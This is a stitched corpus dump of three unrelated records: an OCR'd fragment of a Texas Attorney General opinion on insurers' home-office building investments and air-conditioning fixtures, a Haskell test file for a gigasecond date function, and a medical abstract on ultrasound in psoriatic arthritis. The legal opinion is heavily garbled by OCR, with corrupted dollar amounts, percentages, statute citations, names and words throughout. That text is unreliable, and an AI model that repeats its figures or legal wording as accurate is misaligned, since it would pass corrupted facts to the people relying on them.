$lOO,OOO.OO must be non-admitted and that the company must either make\nsuch adjustment6 and partial dispositions as will bring the investment\nwithin permissible limits or dispose of the entire investment.", "\n\nOur opinion in response to your first question ia limited solely to the\nsituation where the additional investment is made as a result of an\nadditional contract for additional construction on the building and\nshould not be taken as expressing any opinion on a situation where the\namount ultimately paid out on a contract entered into prior to September\n6, 1955, exceeds the amount set out therein.", "\n\nYour second question is as follows:\n\fHon. ", "William A. Harrison, page 4 (WW-475)\n\n\n\n ,”\n Wow assume XfZ Life Insurance Company has admitted sssets\n in tha amount of $>OO,OOO. ", "Assume further that prior to\n September 6, 1955, the company contracted for the con-\n ltruction of a $300,000 home office building. ", "After September\n 6, 1955, and after the completion of the building, the com-\n pany decides that it would be advisable to air-conditionthe,\n building at a cost of $100,000.00, and contracts for this\n work to be done. ", "This makes the total investment of the\n company in the home office building $400,000, or 415 of\n the total admitted assets of the company. ", "This additional\n investment is not made from the surplus funds of the\n company. ", "We request your opinion as to whether this\n additional investment violates the provisions of Article\n 3.40, Section l(b), Texas Insurance Code? ", "If you snswer\n this question in the affirmative, should the Board (1) non-\n admit the additional investment, (2) non-admit tha total\n investment of the coinpanyin the home office building, or\n (3) require the company to dispose of the investment because\n it is contrary to law and is not authorized?\"", "\n\nThe only additional factor presented from that in your firat question\nconcerns the nature of the investment-- that is, the additional investment\nIn Question No. ", "2 is made for the purpose of air conditioning the building\nand thus its answer involves a determination of whet constitutes an\n*investment' as the word is used in Article 3.40. ", "The only description\nin the article of the investment is \"one building site and office\nbuilding\" (Section l(a), Article 3.40). ", "Since no further standards\nare given, we must sssume that the term \"building site and office buildingY\nemcompasses those improvements of, additions to, and ftitures in such an\noffice building as sre legally classified as being a portion of the real\nestate. ", "If a particular item has become or will become s part o.fthe\nreal estate is often difficult to determine.", "\n\n \"Whether an article is s fixture or not depends in some\n degree on the facts and circumstances of the particular\n CtlSi?, ", "including the relationship of the parties at issue,\n . . . . ", "Ordinsrily the courts hold that for sn article to\n become a fixture they must unite the following requisties:\n em ion to the realty or something appurtenant\n 2-e? ", " t'\n . . (", "2) Adoptability or applicstiou of the\n chattel'affixed to the use or purpose to which the realty\n is appropriated, . . . ", "and (3) the intention of the party\n making the annexation to make a permenent accession to the\n freehold, . . ..\" ", "36 C. J. S. 8%.", "\n\nThus, the status of .aparticular item of property is ordinarily a\nquestion of fact. ", "We note that there are csses on the one hand holding\nthat air conditioning equipment is not part of the real estate,\nMoskowitz v. Callowax, (Civ. ", "App.) ", "178 S W. 2d 878, error ref. ", "w. o. m.,\n\fHon. ", "William A. Harrison, page 5 (WW-475)\n\n\n\nand on the other hand, cases holding that Such equipment is a part of the\nreal estate, Nine Hundred Main, Inc. v. Houston, (Civ. ", "App.) ", "150 S. W.\n2d 468, dim., ", "judge. ", "car. ", "As stated in 43 A. L. R. 2d 1379:\n\n \"It is not possible to state any absolute rule as to the\n character of an sir-conditioning plant, equipment, apparatus,\n or the like, as s fixture, because of the many varying\n circumstances reflected in the cases. ", "All that can be said\n . . . ", "is that in some cases, under the particular circusstances\n involved, the unit has been held to be s part of the realty\n whereas in ather cases, under the particular circumstances,\n the unit has been held to remain persoualty.m\n\nEach case turns on the application of the rule stated above to the\npeculisquslities of the equipment involved and its manner of attachment\nto the ieal estate. ", "If the equipment after installation did not constitute\npart of the realty, then such additional investment as mentioned in your\nsecond question would not constitute a violation of Article 3.40,\nSection l(b). ", "If, on the other hand, it did constitute part of the real\nestate, the investment would be improper and our snawers to Question Bo.", "\n1 would apply.", "\n\nYom third question is 88 follows:\n\n 'Amuming a company makes an additional investment in its\n home office building by repair, improvement, or otherwise,\n after September 6, 1955, which maker the total investment\n in the building more than 33 l/$, and the additional in-\n vestment is not mid for from the surplus funds of the\n company, shouldthe Board permit the company to retain the\n investment, but non-admit the excess amount over the statute,\n or should the Board requiresthe company to dispose of the\n investment or increase the admitted assets by contribution\n or otherwise so that the total investment in the home office\n building will not exceed the statutory limit?\"", "\n\nSince the answer to your question would turn on the specific facts\ninvolved, we deem it inappropriate to give you a specific answer\nto this question. ", "However, you should be guided by the genera1 principles\nset out above. ", "It should also be kept in mind that Article l(b) provides\nthat a company's investment in home office property may exceed 33 11% of\nits admitted assets up to 5C$ thereof it advance approval of the Board is\nobtained.", "\n\fHon. ", "WilliamA. HarrIson,page 6 (MW-475)\n\n\n\n SW4MARY\n\n\n Where a life tiurance companyhas con-\n tracted~for.an3PIkehmnt in-inme office\n propertfe8for a'-reaoonubleam3 adeauate\n consideration prior to September6, 19.35,\n such investmentis le@ under Article\n 3.40, Section l(b), regardlessof whether\n or mot it represent8more than 33 l/3$\n of its admittedessetr. ", "Any additional\n investmentsmade In such homa office\n property after September6, 195.5,hovevcr,\n are not legalwhere the total inveatumt\n exceeds the permissiblellmitrof Section\n l(b) and where the improvsmcntrrepresent-\n ing the inveatmcntwould be consideredar\n a pert of the reel estste.", "\n\n Very truly yom8,\n\n w1LLw1ImW\n AttorneyGenerslof Texan\n\n\n\n Bs\n Pred B. Werkelithln\n Amrirtmt\n\n\n\n Bs\n R. V. Loftin,Jr.\n Arllrtant\n\n\n\n APPROVED:\n\n OPIWIaWCOmITTEE:\n\n L.P.LOIJ.AR,cEAIRb!M\n\n Waylad C. River@,Jr.", "\n Jot Hodges,Jr.\n Riley Eugene Fletoher\n J. W Wheeler\n\n REVIEWEDBOR'IgEATTORWEY@ZWER4L\n RX:\n w * v. oeppert\n\f" ]

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[ "import Data.", "Time.", "Clock (UTCTime)\nimport Test.", "Hspec (Spec, describe, it, shouldBe)\nimport Test.", "Hspec.", "Runner (configFastFail, defaultConfig, hspecWith)\n\nimport Gigasecond (fromDay)\n\nimport Data.", "Time.", "Format\n ( ParseTime\n , TimeLocale\n , defaultTimeLocale\n , iso8601DateFormat\n , parseTimeOrError\n )\n\nreadTime :: ParseTime t => TimeLocale -> String -> String -> t\nreadTime = parseTimeOrError True\n\nmain :: IO ()\nmain = hspecWith defaultConfig {configFastFail = True} specs\n\nspecs :: Spec\nspecs = describe \"fromDay\" $ do\n\n let dt = readTime defaultTimeLocale\n (iso8601DateFormat (Just \"%T%Z\")) :: String -> UTCTime\n\n it \"from apr 25 2011\" $\n fromDay (dt \"2011-04-25T00:00:00Z\")\n `shouldBe` dt \"2043-01-01T01:46:40Z\"\n\n it \"from jun 13 1977\" $\n fromDay (dt \"1977-06-13T00:00:00Z\")\n `shouldBe` dt \"2009-02-19T01:46:40Z\"\n\n it \"from jul 19 1959\" $\n fromDay (dt \"1959-07-19T00:00:00Z\")\n `shouldBe` dt \"1991-03-27T01:46:40Z\"\n" ]

{ "pile_set_name": "Github" }

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[ "Ultrasound imaging in psoriatic arthritis and ankylosing spondylitis.", "\nMusculoskeletal ultrasound (US) is a reliable imaging technique which has a key role in the assessment of patients with psoriatic arthritis (PsA) and ankylosing spondylitis (AS). ", "US can help in the diagnosis of the disorder, in the evaluation of the extent of the joint and enthesis involvement and in therapy monitoring because it can reflect both morphostructural changes and inflammatory activity. ", "Several studies have reported that US revealed pathological findings at joints and enthesis in a large number of PsA patients who do not complain of active pain and/or swelling at the time of the clinical examination and in psoriasis patients with no signs of musculoskeletal disease. ", "The application of US in the evaluation of nail and skin involvement in patients affected by psoriasis, with or without arthritis, and the imaging of sacroiliac joints is an interesting approach. ", "US has already become commonplace in both clinical and research fields, and improvements in US technology will offer further possibilities for future research." ]

{ "pile_set_name": "PubMed Abstracts" }

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